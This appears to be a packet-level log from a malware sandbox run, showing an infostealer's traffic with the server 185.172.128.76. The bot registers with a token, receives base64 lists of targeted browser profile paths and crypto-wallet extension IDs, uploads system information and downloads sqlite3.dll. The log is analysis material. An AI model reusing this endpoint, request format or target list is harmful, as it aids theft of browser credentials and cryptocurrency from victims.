Apr 25, 2024 14:42:01.952404976 CEST	469	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHC Host: 185.172.128.76 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="message"browsers------IDHCGDAFBKFIDHJJJDHC--
Apr 25, 2024 14:42:02.273123026 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1520 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 64 6d 6c 32 59 57 78 6b 61 53 35 6c 65 47 56 38 51 32 39 74 62 32 52 76 49 45 52 79 59 57 64 76 62 6e 78 63 51 32 39 74 62 32 52 76 58 45 52 79 59 57 64 76 62 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 52 58 42 70 59 31 42 79 61 58 5a 68 59 33 6c 43 63 6d 39 33 63 32 56 79 66 46 78 46 63 47 6c 6a 49 46 42 79 61 58 5a 68 59 33 6b 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 32 39 6a 51 32 39 6a 66 46 78 44 62 32 4e 44 62 32 4e 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 6e 4a 68 64 6d 56 38 58 45 4a 79 59 58 5a 6c 55 32 39 6d 64 48 64 68 63 6d 56 63 51 6e 4a 68 64 6d 55 74 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4a 79 59 58 5a 6c 4c 6d 56 34 5a 58 78 44 5a 57 35 30 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 77 33 55 33 52 68 63 6e 78 63 4e 31 4e 30 59 58 4a 63 4e 31 4e 30 59 58 4a 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 4e 6f 5a 57 52 76 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 61 47 56 6b 62 33 52 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 77 66 45 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 66 46 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 52 63 52 57 52 6e 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 31 7a 5a 57 52 6e 5a 53 35 6c 65 47 56 38 4d 7a 59 77 49 45 4a 79 62 33 64 7a 5a 58 4a 38 58 44 4d 32 4d 45 4a 79 62 33 64 7a 5a 58 4a 63 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 55 56 46 43 63 6d 39 33 63 32 56 79 66 46 78 55 5a 57 35 6a 5a 57 35 30 58 46 46 52 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb
Apr 25, 2024 14:42:02.273165941 CEST	427	IN	Data Raw: 32 31 6c 66 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 Data Ascii: 21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQ
Apr 25, 2024 14:42:02.274525881 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKFIIDGIEHIDGCGHII Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 2d 2d 0d 0a Data Ascii: ------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="message"plugins------CAAKFIIDGIEHIDGCGHII--
Apr 25, 2024 14:42:02.593795061 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5416 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d 5a 75 59 6d 56 73 5a 6d 52 76 5a 57 6c 76 61 47 56 75 61 32 70 70 59 6d 35 74 59 57 52 71 61 57 56 6f 61 6d 68 68 61 6d 4a 38 4d 58 77 77 66 44 42 38 51 32 39 70 62 6d 4a 68 63 32 55 67 56 32 46 73 62 47 56 30 49 47 56 34 64 47 56 75 63 32 6c 76 62 6e 78 6f 62 6d 5a 68 62 6d 74 75 62 32 4e 6d 5a 57 39 6d 59 6d 52 6b 5a 32 4e 70 61 6d 35 74 61 47 35 6d 62 6d 74 6b 62 6d 46 68 5a 48 77 78 66 44 42 38 4d 58 78 48 64 57 46 79 5a 47 46 38 61 48 42 6e 62 47 5a 6f 5a 32 5a 75 61 47 4a 6e 63 47 70 6b 5a 57 35 71 5a 32 31 6b 5a 32 39 6c 61 57 46 77 63 47 46 6d 62 47 35 38 4d 58 77 77 66 44 42 38 53 6d 46 34 65 43 42 4d 61 57 4a 6c 63 6e 52 35 66 47 4e 71 5a 57 78 6d 63 47 78 77 62 47 56 69 5a 47 70 71 5a 57 35 73 62 48 42 71 59 32 4a 73 62 57 70 72 5a 6d 4e 6d 5a 6d 35 6c 66 44 46 38 4d 48 77 77 66 47 6c 58 59 57 78 73 5a 58 52 38 61 32 35 6a 59 32 68 6b 61 57 64 76 59 6d 64 6f 5a 57 35 69 59 6d 46 6b 5a 47 39 71 61 6d 35 75 59 57 39 6e 5a 6e 42 77 5a 6d 70 38 4d 58 77 77 66 44 42 38 54 55 56 58 49 45 4e 59 66 47 35 73 59 6d 31 75 62 6d 6c 71 59 32 35 73 5a 57 64 72 61 6d 70 77 59 32 5a 71 59 32 78 74 59 32 5a 6e 5a 32 5a 6c 5a 6d 52 74 66 44 46 38 4d 48 77 77 66 45 64 31 61 57 78 6b 56 32 46 73 62 47 56 30 66 47 35 68 62 6d 70 74 5a 47 74 75 61 47 74 70 62 6d 6c 6d 62 6d 74 6e 5a 47 4e 6e 5a 32 4e 6d 62 6d 68 6b 59 57 46 74 62 57 31 71 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 6d 62 6d 70 6f 62 57 74 6f 61 47 31 72 59 6d 70 72 61 32 46 69 62 6d 52 6a 62 6d 35 76 5a 32 46 6e 62 32 64 69 62 6d 56 6c 59 33 77 78 66 44 42 38 4d 48 78 4f 5a 57 39 4d 61 57 35 6c 66 47 4e 77 61 47 68 73 5a 32 31 6e 59 57 31 6c 62 32 52 75 61 47 74 71 5a 47 31 72 63 47 46 75 62 47 56 73 62 6d 78 76 61 47 46 76 66 44 46 38 4d 48 77 77 66 45 4e 4d 56 69 42 58 59 57 78 73 5a 58 52 38 62 6d 68 75 61 32 4a 72 5a 32 70 70 61 32 64 6a 61 57 64 68 5a 47 39 74 61 33 42 6f 59 57 78 68 62 6d 35 6b 59 32 46 77 61 6d 74 38 4d 58 77 77 66 44 42 38 54 47 6c 78 64 57 46 73 61 58 52 35 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhb
Apr 25, 2024 14:42:02.593817949 CEST	1289	IN	Data Raw: 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 Data Ascii: GxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBk
Apr 25, 2024 14:42:02.593836069 CEST	1289	IN	Data Raw: 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c Data Ascii: FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8M
Apr 25, 2024 14:42:02.593856096 CEST	1289	IN	Data Raw: 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 Data Ascii: wYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY2
Apr 25, 2024 14:42:02.593873024 CEST	456	IN	Data Raw: 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 Data Ascii: YmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHx
Apr 25, 2024 14:42:02.620381117 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAF Host: 185.172.128.76 Content-Length: 6723 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:02.620430946 CEST	6723	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Apr 25, 2024 14:42:02.956023932 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:03.280184984 CEST	93	OUT	GET /15f649199f40275b/sqlite3.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:03.597769976 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:03 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00 2e 00 00 00 14 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 c0 0e 00 00 0c 00 00 00 42 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N
Apr 25, 2024 14:42:03.597791910 CEST	1289	IN	Data Raw: 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 Data Ascii: @B/81s:<R@B/92P @B
